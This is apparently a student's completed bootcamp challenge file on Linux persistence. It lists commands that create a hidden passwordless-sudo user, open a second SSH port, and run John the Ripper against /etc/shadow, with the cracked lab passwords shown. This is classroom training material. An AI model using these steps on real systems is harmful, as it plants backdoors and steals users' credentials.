Cybersecurity

Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created.

```
Sudo useradd sysd
```

2. Give your secret user a password.

```
Sudo passwd sysd
```

3. Give your secret user a system UID < 1000.

```
Sudo usermod -u 400 sysd
```

4. Give your secret user the same GID.

```
Sudo groupmod -g 400 sysd
```

5. Give your secret user full `sudo` access without the need for a password.

```
Sudo visudo
```

```
# User privilege specification
root    ALL=(ALL:ALL) ALL
sysd ALL=(ALL:ALL) NOPASSWD:ALL
tripwire ALL= NOPASSWD: /usr/sbin/tripwire
vagrant ALL=(ALL:ALL) NOPASSWD:ALL
```
y

6. Test that `sudo` access works without your password.

```
$ sudo -l
Matching Defaults entries for sysd on UbuntuDesktop:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sysd may run the following commands on UbuntuDesktop:
    (ALL : ALL) NOPASSWD: ALL
$
```

Step 2: Smooth Sailing

1. Edit the `sshd_config` file.

```
# Add an extra port line:
Port 22
Port 2222
```

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

```
Service ssh restart
Systemctl restart ssh
```

2. Exit the `root` account.

```
exit
```

3. SSH to the target machine using your `sysd` account and port `2222`.

```
Ssh sysd@192.168.6.105 -p 2222
```

4. Use `sudo` to switch to the root user.

```
Sudo su
```

Step 4: Crack All the Passwords

1. SSH back to the system using your `sysd` account and port `2222`.

```
Ssh sysd@192.168.6.105 -p 2222
```

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file.

```
root@UbuntuDesktop:/home/sysadmin# john /etc/shadown
Created directory: /root/.john
stat: /etc/shadown: No such file or directory
root@UbuntuDesktop:/home/sysadmin# john /etc/shadow
Loaded 15 password hashes with 13 different salts (crypt, generic crypt(3) [?/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
hack             (hacker)
instructor       (instructor)
vagrant          (vagrant)
sysd             (sysd)
password         (jane)
123456           (sally)
football         (billy)
welcome          (adam)
welcome          (max)
lakers           (john)
lakers           (jack)
```